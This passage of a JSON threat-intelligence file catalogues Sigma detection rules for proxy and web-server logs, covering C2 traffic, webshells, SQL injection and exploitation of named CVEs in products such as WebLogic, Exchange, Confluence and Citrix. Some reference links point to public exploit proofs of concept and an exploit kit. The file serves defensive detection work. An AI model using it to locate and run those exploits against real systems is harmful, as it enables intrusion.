scripts that download files from the Internet", "Administrative scripts that retrieve certain website contents" ], "filename": "proxy_powershell_ua.yml", "level": "medium", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_powershell_ua.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c8557060-9221-4448-8794-96320e6f3e74", "value": "Windows PowerShell User Agent" }, { "description": "Detects Java class download in proxy logs, e.g. used in Log4shell exploitation attacks against Log4j.", "meta": { "author": "Andreas Hunkeler (@Karneades)", "creation_date": "2021/12/21", "falsepositive": [ "Unknown" ], "filename": "proxy_java_class_download.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://www.lunasec.io/docs/blog/log4j-zero-day/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_java_class_download.yml" ], "tags": [ "attack.initial_access" ] }, "uuid": "53c15703-b04c-42bb-9055-1937ddfb3392", "value": "Java Class Proxy Download" }, { "description": "Detects Baby Shark C2 Framework communication patterns", "meta": { "author": "Florian Roth", "creation_date": "2021/06/09", "falsepositive": [ "Unknown" ], "filename": "proxy_baby_shark.yml", "level": "critical", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_baby_shark.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "304810ed-8853-437f-9e36-c4975c3dfd7e", "value": "BabyShark Agent Pattern" }, { "description": "Detects suspicious user agent strings user by hack tools in proxy logs", "meta": { "author": "Florian Roth", "creation_date": "2017/07/08", "falsepositive": [ "Unknown" ], "filename": "proxy_ua_hacktool.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_hacktool.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "attack.credential_access", "attack.t1110" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c42a3073-30fb-48ae-8c99-c23ada84b103", "value": "Hack Tool User Agent" }, { "description": "Detects suspicious user agent string of APT40 Dropbox tool", "meta": { "author": "Thomas Patzke", "creation_date": "2019/11/12", "falsepositive": [ "Old browsers" ], "filename": "proxy_apt40.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "Internal research from Florian Roth", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt40.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001", "attack.exfiltration", "attack.t1567.002" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5ba715b6-71b7-44fd-8245-f66893e81b3d", "value": "APT40 Dropbox Tool User Agent" }, { "description": "Detects Ursnif C2 traffic.", "meta": { "author": "Thomas Patzke", "creation_date": "2019/12/19", "falsepositive": [ "Unknown" ], "filename": "proxy_ursnif_malware_c2_url.yml", "level": "critical", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_c2_url.yml" ], "tags": [ "attack.initial_access", "attack.t1566.001", "attack.execution", "attack.t1204.002", "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "932ac737-33ca-4afd-9869-0d48b391fcc9", "value": "Ursnif Malware C2 URL Pattern" }, { "description": "Detects suspicious empty user agent strings in proxy logs", "meta": { "author": "Florian Roth", "creation_date": "2017/07/08", "falsepositive": [ "Unknown" ], "filename": "proxy_empty_ua.yml", "level": "medium", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://twitter.com/Carlos_Perez/status/883455096645931008", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empty_ua.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "21e44d78-95e7-421b-a464-ffd8395659c4", "value": "Empty User Agent" }, { "description": "Detects a flashplayer update from an unofficial location", "meta": { "author": "Florian Roth", "creation_date": "2017/10/25", "falsepositive": [ "Unknown flash download locations" ], "filename": "proxy_susp_flash_download_loc.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://gist.github.com/roycewilliams/a723aaf8a6ac3ba4f817847610935cfb", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_susp_flash_download_loc.yml" ], "tags": [ "attack.initial_access", "attack.t1189", "attack.execution", "attack.t1204.002", "attack.defense_evasion", "attack.t1036.005" ] }, "related": [ { "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4922a5dd-6743-4fc2-8e81-144374280997", "value": "Flash Player Update from Suspicious Location" }, { "description": "Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978", "meta": { "author": "Bhabesh Raj", "creation_date": "2020/03/10", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_21978_vmware_view_planner_exploit.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://paper.seebug.org/1495/", "https://twitter.com/wugeej/status/1369476795255320580", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21978_vmware_view_planner_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "cve.2021.21978" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "77586a7f-7ea4-4c41-b19c-820140b84ca9", "value": "CVE-2021-21978 Exploitation Attempt" }, { "description": "Detects Windows Webshells that use GET requests via access logs", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2017/02/19", "falsepositive": [ "Web sites like wikis with articles on os commands and pages that include the os commands in the URLs", "User searches in search boxes of the respective website" ], "filename": "web_win_webshells_in_access_logs.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", "https://bad-jubies.github.io/RCE-NOW-WHAT/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_win_webshells_in_access_logs.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "7ff9db12-1b94-4a79-ba68-a2402c5d6729", "value": "Windows Webshell Strings" }, { "description": "Detects exploitation attempts on WebLogic servers", "meta": { "author": "Florian Roth", "creation_date": "2020/11/02", "falsepositive": [ "Unknown" ], "filename": "web_cve_2020_14882_weblogic_exploit.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://isc.sans.edu/diary/26734", "https://twitter.com/sudo_sudoka/status/1323951871078223874", "https://twitter.com/jas502n/status/1321416053050667009?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_14882_weblogic_exploit.yml" ], "tags": [ "attack.t1190", "attack.initial_access", "cve.2020.14882" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "85d466b0-d74c-4514-84d3-2bdd3327588b", "value": "Oracle WebLogic Exploit CVE-2020-14882" }, { "description": "Detects potential exploitation of CVE-2021-260841 a Confluence RCE using OGNL injection", "meta": { "author": "Sittikorn S, Nuttakorn T", "creation_date": "2022/12/13", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_26084_confluence_rce_exploit.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/TesterCC/exp_poc_library/blob/master/exp_poc/CVE-2021-26084_Confluence_OGNL_injection/CVE-2021-26084.md", "https://mraddon.blog/2017/03/20/confluence-trick-to-create-pages-from-blueprint-templates/", "https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md", "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26084_confluence_rce_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "38825179-3c78-4fed-b222-2e2166b926b1", "value": "Potential CVE-2021-26084 Exploitation Attempt" }, { "description": "Detects exploitation attempts of the SonicWall Jarrewrite Exploit", "meta": { "author": "Florian Roth", "creation_date": "2021/01/25", "falsepositive": [ "Unknown" ], "filename": "web_sonicwall_jarrewrite_exploit.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sonicwall_jarrewrite_exploit.yml" ], "tags": [ "attack.t1190", "attack.initial_access" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6f55f047-112b-4101-ad32-43913f52db46", "value": "SonicWall SSL/VPN Jarrewrite Exploit" }, { "description": "Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity", "meta": { "author": "Florian Roth", "creation_date": "2021/03/03", "falsepositive": [ "Legitimate access to other web applications that use the same folder names as Exchange (e.g. owa, ecp) but are not Microsoft Exchange related" ], "filename": "web_exchange_exploitation_hafnium.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_exploitation_hafnium.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "67bce556-312f-4c81-9162-c3c9ff2599b2", "value": "Exchange Exploitation Used by HAFNIUM" }, { "description": "Detects access to SUPERNOVA webshell as described in Guidepoint report", "meta": { "author": "Florian Roth", "creation_date": "2020/12/17", "falsepositive": [ "Unknown" ], "filename": "web_solarwinds_supernova_webshell.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.anquanke.com/post/id/226029", "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_solarwinds_supernova_webshell.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "a2cee20b-eacc-459f-861d-c02e5d12f1db", "value": "Solarwinds SUPERNOVA Webshell Access" }, { "description": "Detects access to a webshell dropped into a keystore folder on the WebLogic server", "meta": { "author": "Florian Roth", "creation_date": "2018/07/22", "falsepositive": [ "Unknown" ], "filename": "web_cve_2018_2894_weblogic_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://twitter.com/pyn3rd/status/1020620932967223296", "https://github.com/LandGrey/CVE-2018-2894", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2018_2894_weblogic_exploit.yml" ], "tags": [ "attack.t1190", "attack.initial_access", "attack.persistence", "attack.t1505.003", "cve.2018.2894" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "37e8369b-43bb-4bf8-83b6-6dd43bda2000", "value": "Oracle WebLogic Exploit" }, { "description": "Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195", "meta": { "author": "Florian Roth", "creation_date": "2020/07/10", "falsepositive": [ "Unknown" ], "filename": "web_cve_2020_8193_8195_citrix_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://support.citrix.com/article/CTX276688", "https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/", "https://dmaasland.github.io/posts/citrix.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_8193_8195_citrix_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0d0d9a8a-a49e-4e27-b061-7ce4b936cfb7", "value": "Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195" }, { "description": "Detects a successful Grafana path traversal exploitation", "meta": { "author": "Florian Roth", "creation_date": "2021/12/08", "falsepositive": [ "Vulnerability scanners that scan a host that returns 200 status codes even in cases of a file not found or other error" ], "filename": "web_cve_2021_43798_grafana.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/", "https://github.com/search?q=CVE-2021-43798", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_43798_grafana.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7b72b328-5708-414f-9a2a-6a6867c26e16", "value": "Grafana Path Traversal Exploitation CVE-2021-43798" }, { "description": "Detects exploitation attempt using the JDNIExploiit Kit", "meta": { "author": "Florian Roth", "creation_date": "2021/12/12", "falsepositive": [ "Legitimate apps the use these paths" ], "filename": "web_jndi_exploit.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/pimps/JNDI-Exploit-Kit", "https://githubmemory.com/repo/FunctFan/JNDIExploit", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_jndi_exploit.yml" ], "tags": "No established tags" }, "uuid": "412d55bc-7737-4d25-9542-5b396867ce55", "value": "JNDIExploit Pattern" }, { "description": "Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1.", "meta": { "author": "@gott_cyber", "creation_date": "2022/12/11", "falsepositive": [ "Vulnerability Scanners" ], "filename": "web_cve_2021_27905_apache_solr_exploit.yml", "level": "medium", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://twitter.com/Al1ex4/status/1382981479727128580", "https://github.com/murataydemir/CVE-2021-27905", "https://twitter.com/sec715/status/1373472323538362371", "https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/", "https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_27905_apache_solr_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "cve.2021.27905" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0bbcd74b-0596-41a4-94a0-4e88a76ffdb3", "value": "Potential CVE-2021-27905 Exploitation Attempt" }, { "description": "Detects an attempt to leverage the vulnerable servlet \"mboximport\" for an unauthenticated remote command injection", "meta": { "author": "@gott_cyber", "creation_date": "2022/08/17", "falsepositive": [ "Unknown" ], "filename": "web_cve_2022_27925_exploit.yml", "level": "medium", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/", "https://www.yang99.top/index.php/archives/82/", "https://github.com/vnhacker1337/CVE-2022-27925-PoC", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_27925_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "cve.2022.27925" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dd218fb6-4d02-42dc-85f0-a0a376072efd", "value": "Zimbra Collaboration Suite Email Server Unauthenticated RCE" }, { "description": "Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/29", "falsepositive": [ "Web vulnerability scanners" ], "filename": "web_cve_2022_36804_atlassian_bitbucket_command_injection.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html", "https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/", "https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/", "https://twitter.com/_0xf4n9x_/status/1572052954538192901", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2022_36804_atlassian_bitbucket_command_injection.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "cve.2022.36804" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "65c0a0ab-d675-4441-bd6b-d3db226a2685", "value": "Atlassian Bitbucket Command Injection Via Archive API" }, { "description": "Detects SQL Injection attempts via GET requests in access logs", "meta": { "author": "Saw Win Naung, Nasreddine Bencherchali", "creation_date": "2020/02/22", "falsepositive": [ "Java scripts and CSS Files", "User searches in search boxes of the respective website", "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" ], "filename": "web_sql_injection_in_access_logs.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/", "https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/", "https://brightsec.com/blog/sql-injection-payloads/", "https://github.com/payloadbox/sql-injection-payload-list", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_sql_injection_in_access_logs.yml" ], "tags": "No established tags" }, "uuid": "5513deaf-f49a-46c2-a6c8-3f111b5cb453", "value": "SQL Injection Strings" }, { "description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/22", "falsepositive": [ "Unlikely" ], "filename": "web_exchange_owassrf_poc_exploitation.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/", "https://twitter.com/purp1ew0lf/status/1602989967776808961?s=12&t=OkZJl_ViICeiftVEsohRyw", "https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_owassrf_poc_exploitation.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "92d78c63-5a5c-4c40-9b60-463810ffb082", "value": "OWASSRF Exploitation Attempt Using Public POC - Webserver" }, { "description": "Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814", "meta": { "author": "Florian Roth", "creation_date": "2021/05/22", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_26814_wzuh_rce.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/WickdDavid/CVE-2021-26814/blob/6a17355a10ec4db771d0f112cbe031e418d829d5/PoC.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26814_wzuh_rce.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "cve.2021.21978", "cve.2021.26814" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b9888738-29ed-4c54-96a4-f38c57b84bb3", "value": "Exploitation of CVE-2021-26814 in Wazuh" }, { "description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/22", "falsepositive": [ "Web vulnerability scanners" ], "filename": "web_exchange_owassrf_exploitation.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/", "https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_exchange_owassrf_exploitation.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "181f49fa-0b21-4665-a98c-a57025ebb8c7", "value": "Potential OWASSRF Exploitation Attempt - Webserver" }, { "description": "Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.", "meta": { "author": "Florian Roth", "creation_date": "2021/05/31", "falsepositive": [ "Serious issues with a configuration or plugin" ], "filename": "web_nginx_core_dump.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "No established product", "refs": [ "https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/", "https://docs.nginx.com/nginx/admin-guide/monitoring/debugging/#enabling-core-dumps", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_nginx_core_dump.yml" ], "tags": [ "attack.impact", "attack.t1499.004" ] }, "related": [ { "dest-uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "59ec40bb-322e-40ab-808d-84fa690d7e56", "value": "Nginx Core Dump" }, { "description": "This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)", "meta": { "author": "Sittikorn S", "creation_date": "2021/06/29", "falsepositive": [ "Vulnerability Scanning" ], "filename": "web_cve_2021_22893_pulse_secure_rce_exploit.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784", "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_22893_pulse_secure_rce_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5525edac-f599-4bfd-b926-3fa69860e766", "value": "Pulse Connect Secure RCE Attack CVE-2021-22893" }, { "description": "MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier,\nwhen magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.\n", "meta": { "author": "Subhash Popuri (@pbssubhash)", "creation_date": "2021/08/25", "falsepositive": [ "Scanning from Nuclei", "Unknown" ], "filename": "web_cve_2010_5278_exploitation_attempt.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/projectdiscovery/nuclei-templates", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2010_5278_exploitation_attempt.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a4a899e8-fd7a-49dd-b5a8-7044def72d61", "value": "CVE-2010-5278 Exploitation Attempt" }, { "description": "Detects source code enumeration that use GET requests by keyword searches in URL strings", "meta": { "author": "James Ahearn", "creation_date": "2019/06/08", "falsepositive": [ "Unknown" ], "filename": "web_source_code_enumeration.yml", "level": "medium", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html", "https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_source_code_enumeration.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "953d460b-f810-420a-97a2-cfca4c98e602", "value": "Source Code Enumeration Detection by Keyword" }, { "description": "Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902", "meta": { "author": "Florian Roth", "creation_date": "2020/07/05", "falsepositive": [ "Unknown" ], "filename": "web_cve_2020_5902_f5_bigip.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/", "https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/", "https://twitter.com/yorickkoster/status/1279709009151434754", "https://support.f5.com/csp/article/K52145254", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_5902_f5_bigip.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "44b53b1c-e60f-4a7b-948e-3435a7918478", "value": "CVE-2020-5902 F5 BIG-IP Exploitation Attempt" }, { "description": "Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/02/24", "falsepositive": [ "OVA uploads to your VSphere appliance" ], "filename": "web_cve_2021_21972_vsphere_unauth_rce_exploit.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://f5.pm/go-59627.html", "https://swarm.ptsecurity.com/unauth-rce-vmware", "https://www.vmware.com/security/advisories/VMSA-2021-0002.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_21972_vsphere_unauth_rce_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "179ed852-0f9b-4009-93a7-68475910fd86", "value": "CVE-2021-21972 VSphere Exploitation" }, { "description": "Detects possible exploitation activity or bugs in a web application", "meta": { "author": "Thomas Patzke", "creation_date": "2017/02/19", "falsepositive": [ "Unstable application", "Application that misuses the response codes" ], "filename": "web_multiple_susp_resp_codes_single_source.yml", "level": "medium", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_multiple_susp_resp_codes_single_source.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, 